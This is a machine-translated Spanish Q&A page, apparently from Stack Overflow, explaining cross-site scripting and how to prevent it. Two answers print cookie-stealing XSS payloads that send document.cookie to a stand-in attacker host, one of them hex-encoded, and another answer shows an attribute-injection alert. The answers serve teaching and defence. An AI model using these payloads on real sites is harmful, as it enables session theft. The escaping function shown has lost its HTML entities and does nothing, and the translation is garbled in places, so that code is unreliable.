¿Alguien puede explicar cómo funciona XSS en inglés sencillo? Tal vez con un ejemplo. Google no ayudó mucho.¿Cómo funciona XSS?
Respuesta
Cross Site Scripting básicamente es una vulnerabilidad de seguridad de páginas web dinámicas donde un atacante puede crear un enlace malicioso para inyectar JavaScript ejecutable no deseado en un sitio web. El caso más común de estas vulnerabilidades ocurre cuando las variables GET se imprimen o repiten sin filtrar o verificar su contenido.
Cuando una víctima hace clic en el enlace, el código malicioso puede enviar la cookie de la víctima a otro servidor o modificar el sitio afectado, inyectar formularios, robar nombres de usuario y contraseñas, y otras técnicas de phishing.
Ejemplo de enlace malicioso:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
También es común para codificar el código malicioso, por ejemplo, en hexadecimal:
vulnerabilidadhttp://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
¡Es bueno que SO esté filtrando eso! : P –
Jaja sí, este es un buen ejemplo de escape adecuado. Buen trabajo Stack Overflow! :) – Jason
La parte que no obtendré es la parte de "víctima". Si visito examole.com e inyecto Java Script en esa página, eso aparecerá en MY browser. ¿Cómo se usaría esto para atacar a una víctima sin que alguien obtenga example.com para que sirva ese código o lo combine con algún tipo de ataque de inyección SQL? –
Un XSS existe siempre una cadena de fuera de su aplicación puede ser interpretado como código.
Por ejemplo, si se está generando HTML al hacer esto:
<BODY>
<?= $myQueryParameter ?>
</BODY>
continuación, si la variable $myQueryParameter
contiene una etiqueta <SCRIPT>
entonces el resultado final será la ejecución de código.
Para evitar que una entrada se ejecute como código, necesita escaparse contenido correctamente.
El problema anterior se puede resolver al darse cuenta de que la variable $myQueryParameter
contiene texto sin formato, pero no se puede simplemente ir y poner texto sin formato en HTML y esperar que funcione.
Necesita convertir texto sin formato a HTML para poder ponerlo en su página HTML. Ese proceso de conversión de una cadena en un idioma a otro para que pueda ser incrustado se está escapando.
Puede escapar texto plano a HTML con una función como:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
XSS -
vulnerabilidad causada cuando el sitio web coloca la confianza en el usuario y no filtra la entrada de usuario . La entrada de usuario provoca que se ejecute un script no deseado en el sitio.
Prevención:
filtro de entrada del usuario utilizando desinfectantes de entrada HTML
(e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape en php)
CSRF:
vulnerabilidad causada cuando el usuario coloca la confianza en el sitio, pero el sitio puede trabajar para obtener la información del usuario y el uso indebido eso.
Prevención:
- Únicamente Generación automática de un csrf_token cada vez una forma se representa. El csrf_token se envía al servidor en el envío del formulario para su verificación. p.ej. https://docs.djangoproject.com/en/dev/ref/contrib/csrf/
En Inglés simple
XSS es al insertar secuencias de comandos (es decir código JavaScript) en páginas web, por lo que el navegador ejecuta el código. Esto es malicioso, porque se puede usar para robar cookies y cualquier otro dato en la página. Por ejemplo:
el código HTML de una caja de búsqueda: <input value="*search value here*">
Ahora si inserta " onmouseover="alert(1)
, el código HTML final sería <input value="" onmouseover="alert(1)">
Cuando el ratón pasa sobre el cuadro de búsqueda, el "alerta" será ejecutado.
En "Wikitext"
Cross-site scripting (XSS) es un tipo de vulnerabilidad de seguridad informática se encuentran típicamente en aplicaciones web. XSS permite a los atacantes inyectar scripts del lado del cliente en páginas web vistas por otros usuarios. Los atacantes pueden usar una vulnerabilidad de secuencias de comandos entre sitios para eludir los controles de acceso, como la política del mismo origen.
He escrito un artículo sobre lo que es XSS y cómo abordarlo como desarrollador de PHP. También hay ejemplos de cómo se ven los dos tipos de ataques XSS (persistente vs. no persistente).
Hay dos tipos de ataques XSS:
- no persistentes: Esto sería una URL especialmente diseñada que incorpora un guión como uno de los parámetros a la página de destino. La desagradable URL se puede enviar en un correo electrónico con la intención de engañar al destinatario para que haga clic en él. La página de destino maneja incorrectamente el parámetro y envía involuntariamente código a la máquina del cliente que fue pasado originalmente a través de la cadena URL.
- Persistente: este ataque usa una página en un sitio que guarda los datos del formulario en la base de datos sin manejando los datos de entrada correctamente. Un usuario malintencionado puede incrustar un script desagradable como parte de un campo de datos típico (como el apellido) que se ejecuta en el navegador web del cliente, sin saberlo. Normalmente, el desagradable script se almacena en la base de datos y se vuelve a ejecutar en cada visita del cliente a la página infectada.
Ver más aquí: http://www.thedablog.com/what-is-xss/
En simples Inglés XSS es un vulnerabilty seguridad en el que el atacante puede enmarcar un script malicioso para comprometer el sitio web. Ahora ¿Cómo funciona?
Como sabemos que XSS necesita un campo de entrada o podemos decir que la variable GET a través del cual la entrada se hacen eco de vuelta al usuario sin filtración y, a veces filtración. Después de la solicitud, es aceptable ("código fuente") por el navegador como respuesta para mostrar los contenidos al usuario. Recuerda lo que hayas escrito en el campo de entrada que estará en la respuesta del código fuente. Por lo tanto, debes verificarlo porque a veces el desarrollador web restringe la casilla de alerta.
Si es un atacante primero, necesita conocer la vulnerabilidad xss utilizando la etiqueta de script.
Por ejemplo: - alert ("test")
Aquí alerta() se utiliza para hacer que el cuadro emergente con el botón OK y lo que cada vez que usted ha escrito en el soporte será emergente en la pantalla. Y las etiquetas de script son invisibles.
Ahora atacante puede hacer un script malicioso para robar la cookie, robar las credenciales etc.
Por ejemplo: - hxxp:? = //www.VulnerableSite.com/index.php buscar location.href = 'http://www.Yoursite.com/Stealer.php?cookie=' + document.cookie;
Aquí su sitio es el sitio del atacante en el cual el atacante puede redirigir la cookie de la víctima en el sitio de su propiedad con la ayuda de document.cookie.
Eso es todo.
Aquí script tag invisible
- 1. ¿Cómo funciona realmente el ataque XSS?
- 2. XSS Torture Test - ¿existe?
- 3. IE8 XSS/Jquery problema
- 4. Prevención de ataque XSS
- 5. ¿Alguien podría decirme por qué/cómo funciona este vector XSS en el navegador?
- 6. ¿Cómo evitar aplicaciones de ataques XSS?
- 7. ¿IsValid() protege de XSS?
- 8. Prevención de ataques XSS
- 9. Librerías java Anti-XSS
- 10. PHP Markdown XSS Sanitizer
- 11. Anti XSS y Classic ASP
- 12. Backbone.js y XSS/HTML escapándose
- 13. Vulnerabilidad aparente de jsonp xss
- 14. Pregunta/aclaración de PHP XSS
- 15. prevención de XSS en PHP
- 16. Prevención de ataques Javascript y XSS
- 17. ¿Cómo se evitan las vulnerabilidades XSS en ASP.Net (MVC)?
- 18. ¿Cómo evito que las personas hagan XSS en Spring MVC?
- 19. de entrada es URL, cómo protegerlo de xss
- 20. ¿Cómo se puede evitar XSS en las descargas de HTML?
- 21. ¿Cómo puedo validar la entrada HTML para evitar XSS?
- 22. HTML-Entidad de escape para evitar XSS
- 23. Ruby on Rails y prevención XSS
- 24. Java 5 HTML escaping Para evitar XSS
- 25. Prevención de XSS (Cross-site Scripting)
- 26. ataques XSS y los atributos de estilo
- 27. Biblioteca Python para el filtrado XSS?
- 28. ¿Es seguro el método jQuery .text() XSS?
- 29. Función de filtrado XSS en PHP
- 30. html() vs innerHTML jquery/javascript & XSS attack
¿Se refiere a Cross-site scripting? – iny